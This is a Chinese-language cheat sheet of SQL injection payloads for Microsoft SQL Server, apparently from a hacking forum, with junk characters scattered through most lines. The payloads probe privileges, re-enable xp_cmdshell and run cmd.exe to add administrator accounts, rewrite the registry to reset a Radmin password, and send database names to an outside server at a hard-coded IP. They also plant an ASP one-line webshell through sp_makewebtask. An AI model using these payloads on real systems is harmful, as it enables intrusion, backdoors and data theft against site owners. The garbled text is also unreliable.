阿D常用的一些注入命令( X6 J$ w/ \" {) V- u8 R
//看看是什么权限的
- F8 a+ _: u( W6 J; Q8 |$ dand 1=(Select IS_MEMBER('db_owner'))
2 M6 O) P9 \! GAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
; U5 M8 \0 q/ C/ X* O- {( a, ]& v! x6 U# m
//检测是否有读取某数据库的权限( ~# V* ]. D5 W0 Q/ I
and 1= (Select HAS_DBACCESS('master')) l, S: @5 O) K6 m( N8 ]0 j
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --# ]% V% K& K4 w: T! J& j9 k
) t, K3 I3 Z$ v: ^% D
1 Y! g2 _ [7 N h+ o& J数字类型
3 P' W. l8 b* k3 y% Mand char(124)%2Buser%2Bchar(124)=0
6 E2 T( D# d5 X/ }' l3 T2 J5 |' r. J( a8 D X
字符类型) M. F# q" b# U- @4 o# t: R
' and char(124)%2Buser%2Bchar(124)=0 and ''='. D9 x# q0 @/ d4 R
4 U+ _% m) [ p$ Q9 @搜索类型% ~ `3 o* y8 S3 G0 c9 z9 f
' and char(124)%2Buser%2Bchar(124)=0 and '%'=') P5 C5 C3 r& I
+ R5 t5 R" R4 g) I3 f" ] P爆用户名
5 i# A( ?, A$ x& Gand user>0
' w. J4 O% ^5 t+ `5 q1 c' and user>0 and ''='1 P, v! O8 V7 M/ r& c
4 E6 P, V" b; j. ~! z2 p$ |( t检测是否为SA权限 [# _& c4 q& b0 _, p, G# C# L7 L T# N: E
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--) h! n7 v5 k" d) I6 E7 x
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --2 r# e- t Z. c5 x& ^+ X5 O
: J- f1 x& F7 l2 T检测是不是MSSQL数据库$ ^" M+ n6 g( {3 C9 R* l
and exists (select * from sysobjects);-- ! X9 t2 i: [8 Y; x, U( P
9 B( s" H# r+ Y9 Z3 K
检测是否支持多行" v+ Q- s3 }$ ^# m- c( u0 H! I6 y
;declare @d int;--
3 k; b2 @& A+ R }6 K) m! |! q( L) l* Y( `# _
恢复 xp_cmdshell
g. G; s5 }* J: l2 B;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
, e/ j9 v: q+ \& K3 P4 K8 E7 [
/ a3 @' [' q) K
) B: r2 R3 u7 ]% }% s" z. b1 [0 aselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
5 c* ]. i$ \1 ~( r6 D( P( a2 U) F' ?% {1 E+ d
//-----------------------, ?+ r+ J2 H$ y8 c% R9 g: H9 f
// 执行命令) J# W- ?# p! v. k( u, S0 b5 E
//-----------------------
( I9 O) K$ y% R) o首先开启沙盘模式:
$ p2 v9 Y/ @- c; w Vexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
, {! h5 g' S9 m
2 a& }* }1 x$ C# ?% n; k然后利用jet.oledb执行系统命令! v; J a7 r! V, G3 @, [# C/ @" N" c
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
! f+ G, m u; x: K5 ~4 H# o" N) ]$ \% G7 t
执行命令
: h+ O4 u2 V! D+ u5 J;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
8 C5 l. @; `# M. e' D U: A" ^( B; G; _1 B
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'7 p' p$ ? }4 v A( F# N) ]8 M0 Z
; ^1 |# s& }; S! t& Y) g判断xp_cmdshell扩展存储过程是否存在:' ^( t" g0 @( V6 S. N
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')2 c( b! Z# x+ e1 A
8 j/ a7 L8 M9 X {写注册表 ^5 m' `) b7 Y7 q
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1* C2 W+ B H. t# Y N8 \
% ^- ]0 @4 H- u: Y$ X# gREG_SZ
, U3 `. K% E9 w7 y/ W# ]6 P
4 M/ t( o9 r' \- |( v8 f. X% ?读注册表
) n2 Y& ]3 E0 c5 ?7 rexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
" R4 c, J: I6 D5 J) @
6 [; Q E4 V. Q+ n. a4 S* X/ V0 D读取目录内容* b6 o: X) x2 H: ?
exec master..xp_dirtree 'c:\winnt\system32\',1,1
6 n' o0 ]7 |. n' r+ X8 H8 \# P4 W2 P ?# E3 G m O/ w
+ _: Q$ C" O5 j+ L {2 w
数据库备份4 U& y# D$ M" n: L
backup database pubs to disk = 'c:\123.bak'
3 F. \2 X$ w$ S* {
* ~. i1 Q; I9 I; B//爆出长度$ f, K8 _" P. W+ Q: K
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
1 N2 j' j0 L+ y" ~) o( }8 @' W3 ]5 c/ @7 {4 E
" s4 X! G7 | c/ b+ D9 I; j/ H& K
) g; h3 V6 @ |& C) }" W' h C更改sa口令方法:用sql综合利用工具连接后,执行命令:+ T2 N+ q6 q! ]# n; R, X" _3 }- g% G
exec sp_password NULL,'新密码','sa'
( r0 E" r" m3 `1 j7 g6 N; u7 b3 t/ C8 S/ {* O, q0 M
添加和删除一个SA权限的用户test:/ y6 Z; y+ ^$ a" _( P H) ]
exec master.dbo.sp_addlogin test,ptlove
+ w: S4 I" H4 F' l2 a, yexec master.dbo.sp_addsrvrolemember test,sysadmin2 {/ O9 D# X2 Y$ F( y
% a+ E6 ~9 R6 T; J删除扩展存储过过程xp_cmdshell的语句:
! C0 y. q8 g2 Y% \exec sp_dropextendedproc 'xp_cmdshell'
2 ~0 w9 }. A3 Y. _* K6 u5 P: e& W+ O5 A1 }5 o5 \
添加扩展存储过过程& ]& b5 Z. z1 h9 @2 J8 q
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
- W/ y6 E- L- E! c- G4 W! L! vGRANT exec On xp_proxiedadata TO public / W# ~5 K3 N. U4 l% |4 i) T% m
0 E$ \+ J( R, {& Q/ [2 `- i6 I" o
' Y' X! J# Y% J- K$ g% M
停掉或激活某个服务。 5 K( k7 p; u, f
6 c( l$ X1 D* u4 G( M D$ |. oexec master..xp_servicecontrol 'stop','schedule'# @6 a& S! ^: Y
exec master..xp_servicecontrol 'start','schedule'
: o) [* V$ _# d% w% o: ^! h0 |+ c) `: b6 Z, Y& }5 X, w6 n
dbo.xp_subdirs% k+ K) P: m8 f
4 |2 A. F6 m$ ?0 ?
只列某个目录下的子目录。) @: u @+ g: e& u" J
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'0 i3 `, x4 ^4 S- v6 H) b
5 Z& }0 \! Z* L6 a+ k
dbo.xp_makecab
3 B1 J3 x+ Y. U6 m$ v$ N0 R9 R6 g1 F; w4 M9 J
将目标多个档案压缩到某个目标档案之内。
; [8 ]4 g0 \# x8 S5 r$ h所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
5 Y3 j8 v1 ^/ e& }0 Y" V2 q' u
4 L+ U6 N! C$ Z8 a1 Y- Vdbo.xp_makecab
7 C8 Y, J5 i' y g. u'c:\test.cab','mszip',1,& j }" ` \/ c8 T; T/ E
'C:\Inetpub\wwwroot\SQLInject\login.asp',, I3 J$ J" Y2 F; ?: @ H( n+ c5 o* Z
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'% e0 Y/ V4 f7 \; m8 o* x0 A
; u* A! j" @1 ?$ N( N
xp_terminate_process9 z' Q# W1 w G7 H
% Y5 y% a3 v; n; F停掉某个执行中的程序,但赋予的参数是 Process ID。
) T6 W! D- H6 {" v7 M5 m# z; I利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID% s) u* ]. J! S: O4 k
- f* s# T" g/ ^1 |$ u. pxp_terminate_process 2484
* @6 c& K) U2 |! F+ W
\/ l0 ~4 l& mxp_unpackcab
9 D% n, G, [( U8 r5 I, Q
) l% i2 p1 P' ^3 V3 J解开压缩档。
) b1 x8 v2 w9 I! n) Z0 C+ E! p ]( N
xp_unpackcab 'c:\test.cab','c:\temp',1
# @) b# v- W7 S, `3 v9 C# T9 N# G) N( Z3 X% ~, u9 H5 @
) x! t+ y8 M3 G2 {: |4 U某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
, m/ i1 S7 D" r
4 @0 A8 t; w1 X% C8 N3 J3 a$ Z. zcreate database lcx;
8 `2 h8 ^- _8 V5 ICreate TABLE ku(name nvarchar(256) null);
" M) f. m$ L% CCreate TABLE biao(id int NULL,name nvarchar(256) null);* G4 [1 j+ M2 z$ S5 h
! ]8 ~4 ~4 P. y$ T% T7 _4 K- l//得到数据库名( F, Y( \* z, t4 M
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases& z7 \/ d6 u, J# v, h
) q4 y1 |6 u3 `. z
& L/ S0 Z) P, C7 s' B1 r
//在Master中创建表,看看权限怎样
1 i3 j; j6 p& n7 I; N7 tCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--# p, d+ {- c7 ^7 [9 H1 i$ U$ L
}- e' r" M* s! F( P( \5 h( H8 H用 sp_makewebtask直接在web目录里写入一句话马:) @( c; F+ T( I9 u9 q
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
- _; r4 R0 ]( L% Z- K
. P* C4 t: v/ Q1 C( v0 T: e//更新表内容
* o( u- u4 f$ @6 s! u# `Update films SET kind = 'Dramatic' Where id = 123
7 f3 e7 F2 T+ M0 V4 b. \0 [- v$ g
$ S) j6 L/ e2 _- J% x6 h/ { C3 P//删除内容! d7 I% E9 |+ |
delete from table_name where Stockid = 3 |